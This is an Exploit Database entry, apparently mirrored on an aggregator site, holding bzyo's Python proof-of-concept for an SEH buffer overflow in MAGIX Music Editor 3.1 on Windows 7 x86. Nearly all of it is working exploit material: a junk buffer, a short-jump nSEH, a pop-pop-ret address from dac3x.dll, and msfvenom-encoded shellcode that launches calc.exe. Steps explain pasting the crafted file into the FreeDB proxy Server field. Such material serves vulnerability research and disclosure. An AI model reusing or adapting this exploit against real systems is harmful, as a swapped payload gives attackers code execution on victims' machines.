MAGIX Music Editor 3.1 – Buffer Overflow (SEH)

• Exploit Database
• 39 阅读

• 作者： bzyo
  日期： 2018-12-27
• 类别：

  • local
  平台：

  • windows_x86
• 来源：https://www.exploit-db.com/exploits/46056/

• # Exploit Title: MAGIX Music Editor 3.1 - Buffer Overflow (SEH)
  # Exploit Author: bzyo
  # Twitter: @bzyo_
  # Date: 2018-12-24
  # Vulnerable Software: MAGIX Music Editor 3.1
  # Vendor Homepage: https://www.magix.com/us/
  # Version: 3.1
  # Software Link: https://www.magix.com/us/music/mp3-deluxe/
  # Music Editor Software is bundled with MP3 Deluxe 19
  # Tested Windows 7 SP1 x86
  
  # PoC
  # 1. run script
  # 2. open music editor 3
  # 3. go to CD > freedb options > FreeDB Proxy Options
  # 4. copy/paste magix.txt contents into Server field
  # 5. select Accept settings
  # 6. pop calc
  
  #!/usr/bin/python
  
  filename="magix.txt"
  
  #lol
  junk = "A"*420
  
  #jump 6
  nseh = "\xeb\x06\xcc\xcc"
  
  #0x10015b08 : pop ecx # pop ecx # ret| ascii {PAGE_EXECUTE_READ} [dac3x.dll]
  seh = "\x08\x5b\x01\x10"
  
  #msfvenom -a x86 -p windows/exec CMD=calc.exe -b "\x00" -e x86/alpha_mixed -f c
  #Payload size: 447 bytes
  calc = ("\xda\xd4\xd9\x74\x24\xf4\x5b\x53\x59\x49\x49\x49\x49\x49\x49"
  "\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41"
  "\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42"
  "\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x4b"
  "\x4c\x4b\x58\x4b\x32\x67\x70\x55\x50\x45\x50\x45\x30\x6e\x69"
  "\x6b\x55\x54\x71\x49\x50\x65\x34\x6c\x4b\x72\x70\x70\x30\x6e"
  "\x6b\x76\x32\x46\x6c\x6c\x4b\x43\x62\x65\x44\x4e\x6b\x50\x72"
  "\x64\x68\x66\x6f\x58\x37\x52\x6a\x31\x36\x45\x61\x4b\x4f\x6e"
  "\x4c\x67\x4c\x43\x51\x61\x6c\x75\x52\x34\x6c\x51\x30\x6b\x71"
  "\x7a\x6f\x56\x6d\x45\x51\x78\x47\x7a\x42\x4c\x32\x56\x32\x56"
  "\x37\x6e\x6b\x32\x72\x42\x30\x4e\x6b\x32\x6a\x37\x4c\x6c\x4b"
  "\x72\x6c\x67\x61\x61\x68\x4a\x43\x30\x48\x73\x31\x6b\x61\x66"
  "\x31\x6e\x6b\x43\x69\x57\x50\x46\x61\x5a\x73\x4c\x4b\x51\x59"
  "\x42\x38\x4d\x33\x37\x4a\x30\x49\x6e\x6b\x46\x54\x6c\x4b\x76"
  "\x61\x68\x56\x65\x61\x4b\x4f\x4c\x6c\x5a\x61\x78\x4f\x56\x6d"
  "\x56\x61\x58\x47\x65\x68\x4b\x50\x53\x45\x48\x76\x37\x73\x71"
  "\x6d\x78\x78\x55\x6b\x31\x6d\x44\x64\x64\x35\x59\x74\x72\x78"
  "\x4c\x4b\x31\x48\x66\x44\x36\x61\x6a\x73\x70\x66\x6e\x6b\x74"
  "\x4c\x42\x6b\x6e\x6b\x46\x38\x57\x6c\x36\x61\x38\x53\x6c\x4b"
  "\x64\x44\x6c\x4b\x46\x61\x5a\x70\x6d\x59\x32\x64\x61\x34\x46"
  "\x44\x53\x6b\x61\x4b\x63\x51\x36\x39\x31\x4a\x52\x71\x69\x6f"
  "\x4b\x50\x71\x4f\x61\x4f\x70\x5a\x6e\x6b\x66\x72\x78\x6b\x6c"
  "\x4d\x31\x4d\x31\x7a\x43\x31\x4e\x6d\x4b\x35\x68\x32\x47\x70"
  "\x65\x50\x65\x50\x36\x30\x62\x48\x54\x71\x4c\x4b\x42\x4f\x4f"
  "\x77\x59\x6f\x4e\x35\x4d\x6b\x68\x70\x68\x35\x4d\x72\x52\x76"
  "\x30\x68\x4e\x46\x5a\x35\x4d\x6d\x6f\x6d\x59\x6f\x4a\x75\x35"
  "\x6c\x46\x66\x73\x4c\x75\x5a\x4d\x50\x69\x6b\x79\x70\x51\x65"
  "\x76\x65\x6f\x4b\x33\x77\x74\x53\x31\x62\x70\x6f\x73\x5a\x33"
  "\x30\x76\x33\x39\x6f\x58\x55\x30\x63\x75\x31\x52\x4c\x73\x53"
  "\x36\x4e\x52\x45\x53\x48\x32\x45\x65\x50\x41\x41")
  
  fill = "C"*2000
  
  buffer = junk + nseh + seh + calc + fill
  
  textfile = open(filename , 'w')
  textfile.write(buffer)
  textfile.close()